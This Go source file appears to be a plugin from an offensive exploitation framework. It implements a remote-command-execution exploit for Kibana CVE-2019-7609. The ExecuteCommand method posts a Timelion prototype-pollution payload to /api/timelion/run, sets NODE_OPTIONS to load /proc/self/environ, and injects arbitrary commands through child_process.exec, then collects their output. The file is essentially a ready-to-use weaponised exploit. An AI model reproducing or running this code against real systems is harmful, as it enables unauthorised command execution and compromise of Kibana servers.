package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
)

type KibanaCve20197609 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp KibanaCve20197609
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *KibanaCve20197609) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "de1f3e56-7d23-4b83-97e0-c4e690d63e5c",
		VulId:   "96411c4b-4b33-4a10-b26b-e91131ee0f34",
		Name:    "Kibana_CVE_2019_7609",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *KibanaCve20197609) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	newUrl, err := url.Parse(req.GetUrl().String() + `/api/timelion/run`)
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
	req.RawRequest.Header.Add("kbn-version", "")
	req.RawRequest.Header.Add("Content-Type", "application/json;charset=utf-8")
	for _, cmd := range expContext.CommandToExecute {
		body := `{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"` + cmd + `\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}`
		req.SetBody([]byte(body))
		resp, err := expContext.HttpClient.Do(ctx, req)
		if err != nil {
			return nil, err
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}

func (t *KibanaCve20197609) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *KibanaCve20197609) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
